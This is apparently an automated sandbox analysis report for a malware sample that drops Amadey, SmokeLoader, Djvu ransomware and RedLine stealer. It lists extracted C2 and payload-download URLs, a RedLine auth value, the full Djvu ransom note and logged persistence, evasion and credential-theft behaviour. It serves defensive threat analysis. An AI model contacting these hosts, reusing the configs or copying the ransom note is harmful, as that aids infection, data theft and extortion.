amadey | b1b014d8c81723e8285abbf170aca64dd601ee8980e6bba866b214425cd53af5

Analysis

max time kernel
150s
max time network
153s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
27-03-2023 13:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b1b014d8c81723e8285abbf170aca64dd601ee8980e6bba866b214425cd53af5.exe
Size

250KB
MD5

988f1622b98be1cec133fc839e0fc918
SHA1

63c6eac78de3511f43d27bd16da72f0eb73bab1c
SHA256

b1b014d8c81723e8285abbf170aca64dd601ee8980e6bba866b214425cd53af5
SHA512

33340ad111dc62970ffd92169462eaf9a4baf71c59657cfbc13a6078a2e1021d5a09ffa0282c02a2356800e432e70ea3171681b583e2baaf10a0d8d972eea15a
SSDEEP

3072:PFQ8NoU+oWuudk4LxGRCVs/sePHyhKyAt8fvMk9qOGzIj5qbni:dvN0u2k4LMRgs/se/nCvrVGf+

Score

10^/10

amadey djvu redline smokeloader koreamon pub1 sprg backdoor collection discovery evasion infostealer persistence ransomware spyware stealer trojan

Malware Config

Extracted

Family

smokeloader

Version

2022

http://potunulit.org/

http://hutnilior.net/

http://bulimu55t.net/

http://soryytlic4.net/

http://novanosa5org.org/

http://nuljjjnuli.org/

http://tolilolihul.net/

http://somatoka51hub.net/

http://hujukui3.net/

http://bukubuka1.net/

http://golilopaster.org/

http://newzelannd66.org/

http://otriluyttn.org/

http://aapu.at/tmp/

http://poudineh.com/tmp/

http://firsttrusteedrx.ru/tmp/

http://kingpirate.ru/tmp/

http://hoh0aeghwugh2gie.com/

http://hie7doodohpae4na.com/

http://aek0aicifaloh1yo.com/

rc4.i32

Extracted

Family

smokeloader

Botnet

pub1

Extracted

Family

smokeloader

Botnet

sprg

Extracted

Family

amadey

Version

3.65

77.73.134.27/8bmdh3Slb2/index.php

Extracted

Family

djvu

http://zexeq.com/lancer/get.php

Attributes

extension
.jypo
offline_id
MEMHlobHgXqvmTWaMsLcwGZhDOd00bblO1yevst1
payload_url
http://uaery.top/dl/build2.exe

http://zexeq.com/files/1/build3.exe
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-fkW8qLaCVQ Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0676JOsie

rsa_pubkey.plain

Extracted

Family

redline

Botnet

koreamon

koreamonitoring.com:80

Attributes

auth_value
1a0e1a9f491ef3df873a03577dfa10aa

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detected Djvu ransomware 17 IoCs

resource	yara_rule
behavioral1/memory/1056-245-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1056-248-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3244-247-0x0000000002520000-0x000000000263B000-memory.dmp	family_djvu
behavioral1/memory/1056-249-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1056-252-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1056-266-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1472-271-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1472-272-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1472-279-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1472-280-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1472-282-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1472-288-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1472-292-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1472-293-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1472-299-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1472-314-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2100-347-0x0000000004E80000-0x0000000004E90000-memory.dmp	family_djvu

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 9 IoCs

resource	yara_rule
behavioral1/memory/2100-324-0x0000000002630000-0x000000000268A000-memory.dmp	family_redline
behavioral1/memory/2100-326-0x0000000004D00000-0x0000000004D56000-memory.dmp	family_redline
behavioral1/memory/2100-327-0x0000000004D00000-0x0000000004D52000-memory.dmp	family_redline
behavioral1/memory/2100-328-0x0000000004D00000-0x0000000004D52000-memory.dmp	family_redline
behavioral1/memory/2100-330-0x0000000004D00000-0x0000000004D52000-memory.dmp	family_redline
behavioral1/memory/2100-332-0x0000000004D00000-0x0000000004D52000-memory.dmp	family_redline
behavioral1/memory/2100-334-0x0000000004D00000-0x0000000004D52000-memory.dmp	family_redline
behavioral1/memory/2100-338-0x0000000004D00000-0x0000000004D52000-memory.dmp	family_redline
behavioral1/memory/2100-340-0x0000000004D00000-0x0000000004D52000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs

description	pid	Process	procid_target
PID 3220 created 3200	3220	XandETC.exe	48
PID 3220 created 3200	3220	XandETC.exe	48
PID 3220 created 3200	3220	XandETC.exe	48
PID 3220 created 3200	3220	XandETC.exe	48
PID 3220 created 3200	3220	XandETC.exe	48
PID 3804 created 3200	3804	updater.exe	48
PID 3804 created 3200	3804	updater.exe	48
PID 3804 created 3200	3804	updater.exe	48
PID 3804 created 3200	3804	updater.exe	48
PID 3804 created 3200	3804	updater.exe	48
PID 3804 created 3200	3804	updater.exe	48
PID 4812 created 3200	4812	conhost.exe	48
PID 3804 created 3200	3804	updater.exe	48

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Deletes itself 1 IoCs

pid	Process
3200	Explorer.EXE

Executes dropped EXE 21 IoCs

pid	Process
1020	CA2B.exe
2504	CBC2.exe
1124	E297.exe
4440	E43D.exe
4728	F98C.exe
2652	Player3.exe
4368	ss31.exe
3220	XandETC.exe
4808	nbveek.exe
3360	554.exe
3380	Player3.exe
3244	9AB.exe
1056	9AB.exe
96	9AB.exe
1472	9AB.exe
3724	build3.exe
2100	3C25.exe
904	64CD.exe
3804	updater.exe
1396	nbveek.exe
4216	mstsca.exe

Loads dropped DLL 3 IoCs

pid	Process
2108	rundll32.exe
2516	rundll32.exe
3924	rundll32.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2044	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\b100a892-43ee-45d5-af28-9cceef8f293d\\9AB.exe\" --AutoStart"	9AB.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
26	api.2ip.ua
27	api.2ip.ua
37	api.2ip.ua

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
904	64CD.exe
904	64CD.exe
904	64CD.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3244 set thread context of 1056	3244	9AB.exe	92
PID 96 set thread context of 1472	96	9AB.exe	96
PID 3804 set thread context of 4812	3804	updater.exe	171
PID 3804 set thread context of 2008	3804	updater.exe	177

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3920	sc.exe
2344	sc.exe
3664	sc.exe
592	sc.exe
628	sc.exe
4928	sc.exe
4256	sc.exe
4988	sc.exe
1396	sc.exe
1412	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
4748	2504	WerFault.exe	67
3612	4440	WerFault.exe	71
640	3360	WerFault.exe	88
5008	2516	WerFault.exe	141

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	b1b014d8c81723e8285abbf170aca64dd601ee8980e6bba866b214425cd53af5.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CA2B.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	E297.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	E297.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	b1b014d8c81723e8285abbf170aca64dd601ee8980e6bba866b214425cd53af5.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	b1b014d8c81723e8285abbf170aca64dd601ee8980e6bba866b214425cd53af5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CA2B.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CA2B.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	E297.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dllhost.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3392	schtasks.exe
4124	schtasks.exe
5052	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	conhost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3724	b1b014d8c81723e8285abbf170aca64dd601ee8980e6bba866b214425cd53af5.exe
3724	b1b014d8c81723e8285abbf170aca64dd601ee8980e6bba866b214425cd53af5.exe
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3200	Explorer.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
596	Process not Found

Suspicious behavior: MapViewOfSection 21 IoCs

pid	Process
3724	b1b014d8c81723e8285abbf170aca64dd601ee8980e6bba866b214425cd53af5.exe
1020	CA2B.exe
1124	E297.exe
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE
3200	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3200	Explorer.EXE
Token: SeCreatePagefilePrivilege	3200	Explorer.EXE
Token: SeShutdownPrivilege	3200	Explorer.EXE
Token: SeCreatePagefilePrivilege	3200	Explorer.EXE
Token: SeShutdownPrivilege	3200	Explorer.EXE
Token: SeCreatePagefilePrivilege	3200	Explorer.EXE
Token: SeShutdownPrivilege	3200	Explorer.EXE
Token: SeCreatePagefilePrivilege	3200	Explorer.EXE
Token: SeShutdownPrivilege	3200	Explorer.EXE
Token: SeCreatePagefilePrivilege	3200	Explorer.EXE
Token: SeShutdownPrivilege	3200	Explorer.EXE
Token: SeCreatePagefilePrivilege	3200	Explorer.EXE
Token: SeShutdownPrivilege	3200	Explorer.EXE
Token: SeCreatePagefilePrivilege	3200	Explorer.EXE
Token: SeShutdownPrivilege	3200	Explorer.EXE
Token: SeCreatePagefilePrivilege	3200	Explorer.EXE
Token: SeShutdownPrivilege	3200	Explorer.EXE
Token: SeCreatePagefilePrivilege	3200	Explorer.EXE
Token: SeShutdownPrivilege	3200	Explorer.EXE
Token: SeCreatePagefilePrivilege	3200	Explorer.EXE
Token: SeShutdownPrivilege	3200	Explorer.EXE
Token: SeCreatePagefilePrivilege	3200	Explorer.EXE
Token: SeShutdownPrivilege	3200	Explorer.EXE
Token: SeCreatePagefilePrivilege	3200	Explorer.EXE
Token: SeShutdownPrivilege	3200	Explorer.EXE
Token: SeCreatePagefilePrivilege	3200	Explorer.EXE
Token: SeShutdownPrivilege	3200	Explorer.EXE
Token: SeCreatePagefilePrivilege	3200	Explorer.EXE
Token: SeShutdownPrivilege	3200	Explorer.EXE
Token: SeCreatePagefilePrivilege	3200	Explorer.EXE
Token: SeDebugPrivilege	2100	3C25.exe
Token: SeDebugPrivilege	1580	powershell.exe
Token: SeIncreaseQuotaPrivilege	1580	powershell.exe
Token: SeSecurityPrivilege	1580	powershell.exe
Token: SeTakeOwnershipPrivilege	1580	powershell.exe
Token: SeLoadDriverPrivilege	1580	powershell.exe
Token: SeSystemProfilePrivilege	1580	powershell.exe
Token: SeSystemtimePrivilege	1580	powershell.exe
Token: SeProfSingleProcessPrivilege	1580	powershell.exe
Token: SeIncBasePriorityPrivilege	1580	powershell.exe
Token: SeCreatePagefilePrivilege	1580	powershell.exe
Token: SeBackupPrivilege	1580	powershell.exe
Token: SeRestorePrivilege	1580	powershell.exe
Token: SeShutdownPrivilege	1580	powershell.exe
Token: SeDebugPrivilege	1580	powershell.exe
Token: SeSystemEnvironmentPrivilege	1580	powershell.exe
Token: SeRemoteShutdownPrivilege	1580	powershell.exe
Token: SeUndockPrivilege	1580	powershell.exe
Token: SeManageVolumePrivilege	1580	powershell.exe
Token: 33	1580	powershell.exe
Token: 34	1580	powershell.exe
Token: 35	1580	powershell.exe
Token: 36	1580	powershell.exe
Token: SeShutdownPrivilege	5008	powercfg.exe
Token: SeCreatePagefilePrivilege	5008	powercfg.exe
Token: SeShutdownPrivilege	4992	powercfg.exe
Token: SeCreatePagefilePrivilege	4992	powercfg.exe
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeShutdownPrivilege	500	powercfg.exe
Token: SeCreatePagefilePrivilege	500	powercfg.exe
Token: SeShutdownPrivilege	1488	powercfg.exe
Token: SeCreatePagefilePrivilege	1488	powercfg.exe
Token: SeIncreaseQuotaPrivilege	2652	powershell.exe
Token: SeSecurityPrivilege	2652	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3200 wrote to memory of 1020	3200	Explorer.EXE	66
PID 3200 wrote to memory of 1020	3200	Explorer.EXE	66
PID 3200 wrote to memory of 1020	3200	Explorer.EXE	66
PID 3200 wrote to memory of 2504	3200	Explorer.EXE	67
PID 3200 wrote to memory of 2504	3200	Explorer.EXE	67
PID 3200 wrote to memory of 2504	3200	Explorer.EXE	67
PID 3200 wrote to memory of 1124	3200	Explorer.EXE	70
PID 3200 wrote to memory of 1124	3200	Explorer.EXE	70
PID 3200 wrote to memory of 1124	3200	Explorer.EXE	70
PID 3200 wrote to memory of 4440	3200	Explorer.EXE	71
PID 3200 wrote to memory of 4440	3200	Explorer.EXE	71
PID 3200 wrote to memory of 4440	3200	Explorer.EXE	71
PID 3200 wrote to memory of 4728	3200	Explorer.EXE	73
PID 3200 wrote to memory of 4728	3200	Explorer.EXE	73
PID 3200 wrote to memory of 4728	3200	Explorer.EXE	73
PID 4728 wrote to memory of 2652	4728	F98C.exe	74
PID 4728 wrote to memory of 2652	4728	F98C.exe	74
PID 4728 wrote to memory of 2652	4728	F98C.exe	74
PID 4728 wrote to memory of 4368	4728	F98C.exe	75
PID 4728 wrote to memory of 4368	4728	F98C.exe	75
PID 4728 wrote to memory of 3220	4728	F98C.exe	76
PID 4728 wrote to memory of 3220	4728	F98C.exe	76
PID 2652 wrote to memory of 4808	2652	Player3.exe	77
PID 2652 wrote to memory of 4808	2652	Player3.exe	77
PID 2652 wrote to memory of 4808	2652	Player3.exe	77
PID 4808 wrote to memory of 3392	4808	nbveek.exe	78
PID 4808 wrote to memory of 3392	4808	nbveek.exe	78
PID 4808 wrote to memory of 3392	4808	nbveek.exe	78
PID 4808 wrote to memory of 3816	4808	nbveek.exe	80
PID 4808 wrote to memory of 3816	4808	nbveek.exe	80
PID 4808 wrote to memory of 3816	4808	nbveek.exe	80
PID 3816 wrote to memory of 4944	3816	cmd.exe	83
PID 3816 wrote to memory of 4944	3816	cmd.exe	83
PID 3816 wrote to memory of 4944	3816	cmd.exe	83
PID 3816 wrote to memory of 4952	3816	cmd.exe	82
PID 3816 wrote to memory of 4952	3816	cmd.exe	82
PID 3816 wrote to memory of 4952	3816	cmd.exe	82
PID 3816 wrote to memory of 4924	3816	cmd.exe	84
PID 3816 wrote to memory of 4924	3816	cmd.exe	84
